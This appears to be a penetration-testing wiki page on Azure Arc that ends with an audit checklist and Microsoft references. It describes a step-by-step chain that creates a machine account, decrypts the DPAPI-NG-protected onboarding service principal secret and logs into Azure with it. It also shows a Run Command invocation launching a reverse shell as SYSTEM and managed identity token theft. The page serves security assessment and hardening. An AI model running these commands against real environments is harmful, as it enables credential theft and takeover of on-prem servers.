Azure Arc
Azure Arc extends Azure management to servers, Kubernetes clusters, and databases running outside of Azure: on-prem, on the customer's other clouds, or at the edge. From a pentest perspective it's interesting because Arc is one of the few services that creates a bidirectional bridge between Azure and the on-prem AD environment: a compromised onboarding service principal pivots from AD to the cloud, and a compromised Azure RBAC role on Arc resources pivots from the cloud back down to NT AUTHORITY\SYSTEM on every Arc-connected server.
This page covers both directions and the audit angles for each.
On-prem to Azure: the GPO onboarding service principal
Customers with many on-prem servers usually onboard them to Arc via Microsoft's GPO-based deployment toolkit. The toolkit ships three scripts that get dropped on a network share (commonly \\<dc>\ArcOnboardShare\AzureArcDeploy):
DeployGPO.ps1: run on a DC, creates the onboarding GPO and stages the other files.EnableAzureArc.ps1: pushed to each in-scope machine by the GPO; installs the Connected Machine agent and registers the host.AzureArcDeployment.psm1: thin DPAPI-NG wrapper used by both scripts.
The toolkit needs a service principal to authenticate to Azure, so the operator passes -ServicePrincipalClientId / -ServicePrincipalSecret to DeployGPO.ps1. The secret can't be stored on the share in cleartext (every machine would be able to read it), so DeployGPO.ps1 encrypts it with DPAPI-NG into a file called encryptedServicePrincipalSecret next to a plain-text ArcInfo.json that holds TenantId, SubscriptionId, ResourceGroup, Location, and the SP's ClientId.
The flaw
The DPAPI-NG protection descriptor that DeployGPO.ps1 uses by default is:
$descriptor = "SID=<DomainComputers> OR SID=<DomainControllers>"
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)That descriptor means any computer account in Domain Computers (i.e. every joined machine, including freshly created ones) can decrypt the secret. Combined with the default ms-DS-MachineAccountQuota = 10, a low-privileged domain user can create their own machine account, authenticate as it, and unwrap the secret. The technique was published by XYBYTES (full write-up at Abusing Azure Arc: From Service Principal Exposed to Reverse Shell, BSides Leeds 2024 talk).
Exploit chain
Find the onboarding share. Common names:
ArcOnboardShare,AzureArcDeploy. SharpHound / BloodHound, share enumeration on the DC, orGet-SmbSharefrom any joined host all work. The marker file isencryptedServicePrincipalSecretaccompanied byArcInfo.jsonandAzureArcDeployment.psm1.Create a machine account with Powermad (default MAQ is 10):
powershellImport-Module .\Powermad.ps1 New-MachineAccount -MachineAccount fake01 -Password (ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force)Get a TGT for the new machine (Rubeus pass-the-ticket, or
runas /netonly):powershellRubeus.exe asktgt /user:fake01$ /password:'P@ssw0rd!' /domain:example.com /pttDecrypt the secret. With a machine-account TGT in memory, DPAPI-NG happily unwraps:
powershellImport-Module \\dc01\ArcOnboardShare\AzureArcDeploy\AzureArcDeployment.psm1 $encryptedSecret = Get-Content \\dc01\ArcOnboardShare\AzureArcDeploy\encryptedServicePrincipalSecret $spSecret = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)SecretManagement.DpapiNGis a non-Windows alternative.Pull tenant / subscription / SP IDs from
ArcInfo.jsonon the same share.Authenticate to Azure with the recovered service principal:
bashaz login --service-principal -u <ClientId> -p <Secret> --tenant <TenantId> az account set --subscription <SubscriptionId>
Where it leads
If the SP was scoped per least-privilege (only Azure Connected Machine Onboarding, on the single onboarding resource group), the blast radius stops at "can enroll new Arc machines". The XYBYTES write-up specifically calls out the bad-but-common case where the SP also has Azure Connected Machine Resource Administrator, which translates into Run Command on every Arc-enrolled host (see the next section).
Azure to on-prem: Run Command on Arc-connected machines
The Arc Connected Machine agent (himds) runs as LocalSystem on every onboarded server. Any Azure principal with appropriate RBAC on the Arc resource can invoke Run Command and execute arbitrary scripts as SYSTEM:
az connectedmachine run-command create \
--name "rev-shell" \
--machine-name <hostname> \
--resource-group <rg> \
--location <region> \
--script "powershell -EncodedCommand <base64-reverse-shell>"Roles that grant this:
| Role | Run Command | Notes |
|---|---|---|
Azure Connected Machine Resource Administrator | yes | The role XYBYTES's bad SP had; pure Arc admin. |
Virtual Machine Contributor (assigned at the Arc machine scope) | yes | Common mistake when admins reuse VM RBAC for Arc. |
Contributor / Owner on the subscription/RG | yes | The obvious one. |
This is what closes the loop: AD foothold, Arc SP, Run Command on every Arc host the SP can see, SYSTEM shells across the on-prem fleet. The same primitive applies starting from a regular Azure breach: if an attacker compromises an Azure identity with one of the above roles, every Arc-connected on-prem server is reachable from the cloud.
Managed identity hijack on Arc hosts
When an Arc-enabled server is granted a system- or user-assigned managed identity, the agent serves tokens on the loopback IMDS-style endpoint at http://127.0.0.1:40342. The endpoint requires a challenge file readable only by SYSTEM/admins, but anyone with local administrator on the Arc host can request the managed identity's access token and use it against Azure Resource Manager / Graph from off-box. Worth flagging when the customer assigns Arc managed identities broad RBAC (e.g. Contributor at subscription scope).
Audit checklist
- Locate the Arc onboarding share (commonly
\\<dc>\ArcOnboardShare\AzureArcDeploy). Verify NTFS / SMB permissions are restricted to the machines that genuinely need to onboard, notAuthenticated Users/Domain Computers. - Review the
DeployGPO.ps1parameters actually used: the DPAPI-NG descriptor should reference a dedicated Arc-onboarding security group (containing only the hosts that need to onboard), notDomain Computers. - Check
ms-DS-MachineAccountQuota. Default10lets any user create machine accounts. Ideally0for normal users, with delegation to a dedicated admin group for legitimate join workflows. - Enumerate roles assigned to the onboarding service principal. Expected:
Azure Connected Machine Onboardingonly, scoped to the onboarding resource group. Red flag:Azure Connected Machine Resource Administrator,Virtual Machine Contributor,Contributor, orOwnerat subscription scope. - Review SP credential lifetime: client secret instead of certificate, no expiry, no rotation.
- Pull the list of Arc-connected servers (
az connectedmachine listor AzureHound) and their assigned managed identities. Cross-check the managed identity's RBAC; aContributor-level identity on a low-trust Arc host is effectively an SP exposure.
References
- Abusing Azure Arc: From Service Principal Exposed to Reverse Shell - XYBYTES (BSides Leeds 2024 talk)
- Azure Arc - Connect machines using a Group Policy Object - Microsoft Learn
- Azure Arc-enabled servers security overview - Microsoft Learn
- Authenticate with a managed identity on Arc-enabled servers - Microsoft Learn
- Powermad - new-machineaccount and MAQ abuse
- SecretManagement.DpapiNG (DPAPI-NG from non-Windows)